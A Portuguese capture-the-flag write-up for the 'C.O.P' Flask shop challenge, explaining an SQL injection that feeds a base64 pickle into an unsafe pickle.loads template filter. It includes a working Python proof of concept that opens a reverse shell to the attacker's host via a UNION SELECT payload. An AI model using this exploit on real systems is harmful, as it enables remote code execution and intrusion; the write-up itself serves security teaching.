C. O. P
O C.O.P (Culto dos Pickles) começou uma loja web para vender sua mercadoria. Acreditamos que os fundos estejam sendo usados para operações ilícitas de propaganda baseadas em pickles! Investigue o site e tente encontrar uma forma de interceptar a operação deles!
A descrição por si só dá uma dica muito importante para a resolução desse desafio.
Reconhecimento
Podemos baixar o código-fonte da aplicação e ver que se trata de uma aplicação web em Python utilizando Flask. Temos apenas dois endpoints, sendo que um trás a listagem dos produtos cadastrados:

E o outro, /view/:id
trás informações sobre um produto com base no id informado.

Podemos começar analisando o código-fonte do último endpoint, visto que ele permite a entrada de dados.
from flask import Blueprint, render_template
from application.models import shop
web = Blueprint('web', __name__)
...SNIP
@web.route('/view/<product_id>')
def product_details(product_id):
return render_template('item.html', product=shop.select_by_id(product_id))
Acima está o arquivo que define as rotas da aplicação. Observe que ao acessar a rota /view
, a aplicação chama uma função shop.select_by_id
, definida no arquivo models
:
from application.database import query_db
class shop(object):
@staticmethod
def select_by_id(product_id):
return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)
Perceba que a aplicação está inserindo a entrada do usuário diretamente na query SQL, ou seja, podemos tentar injetar SQL. Ao enviar uma requisição ao endpoint /view/1'
, a aplicação retorna um erro 500, o que possivelmente indica que a entrada foi injetada na query provocando um erro. Ao consultar /view/1'--
, a aplicação não retorna erro algum, visto que a consulta foi processada da seguinte forma:
SELECT data FROM products WHERE id='1'--'
Isto é, fazendo uma consulta em produtos a qual o id do produto seja 1 e comentando o restante da query que é inserido pelo back-end. Porém, apenas com esse SQL injection não somos capazes de fazer nada. Vejamos como essa rota é renderizada no template:
...SNIP
<!-- Product section-->
<section class="py-5">
<div class="container px-4 px-lg-5 my-5">
<div class="row gx-4 gx-lg-5 align-items-center">
{% set item = product | pickle %} <!-- repare nessa linha -->
<div class="col-md-6"><img class="card-img-top mb-5 mb-md-0" src="{{ item.image }}" alt="..." /></div>
<div class="col-md-6">
<h1 class="display-5 fw-bolder">{{ item.name }}</h1>
<div class="fs-5 mb-5">
<span>£{{ item.price }}</span>
</div>
<p class="lead">{{ item.description }}</p>
</div>
</div>
</div>
</section>
SNIP...
A instrução na linha destacada está utilizando uma funcionalidade de filtro do Flask que deve ser definida pela aplicação. A definição desse filtro pode ser encontrada no arquivo app.py
:
...SNIP
@app.template_filter('pickle')
def pickle_loads(s):
return pickle.loads(base64.b64decode(s))
SNIP...
Exploração
Perceba que o filtro definido é processado por uma função do pickle, uma biblioteca de serialização do Python. A função é responsável por decodificar a entrada em base64 e então serializar ela através do pickle. Entretanto, buscando sobre essa biblioteca, foi possível encontrar uma vulnerabilidade nela que permite execução de código remotamente. Para isso, precisamos criar uma classe com o payload da RCE, usar a função dumps
da biblioteca pickle para desserializar um objeto dessa classe e então passar esse objeto desserializado codificado em base64 para a aplicação. A partir disso, podemos aproveitar vulnerabilidade de SQL injection para injetar o payload na requisição.
Prova de Conceito
import pickle
import requests
from base64 import b64encode, urlsafe_b64encode
import os
host = "http://cop.htb:1337" # troque pelo endereço do host vulnerável
class RCE:
def __reduce__(self):
ip = "127.0.0.1" # troque pelo seu endereço
port = 1337 # troque por uma porta escutando em sua máquina
reverse_shell = f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")'"
cmd = (f'echo "{b64encode(reverse_shell.encode()).decode()}" | base64 -d | sh')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE()) # serializando o objeto RCE com o pickle
response = requests.get(url=f"{host}/view/' UNION SELECT \"{urlsafe_b64encode(pickled).decode()}\"--")
print(response.text)
O script acima define uma classe RCE que, quando desserializada pelo pickle na aplicação vulnerável, realiza uma conexão de shell reversa. Dessa forma, podemos serializar um objeto dessa classe e tentar enviar ao endpoint vulnerável da aplicação. Abusando da falha de SQL injection, podemos criar um UNION SELECT com o payload, e ele será desserializado pela aplicação, resultando na conexão reversa à nossa máquina. Agora, com o shell, basta lermos o conteúdo do arquivo flag.txt
para obter a flag.
Atualizado
Isto foi útil?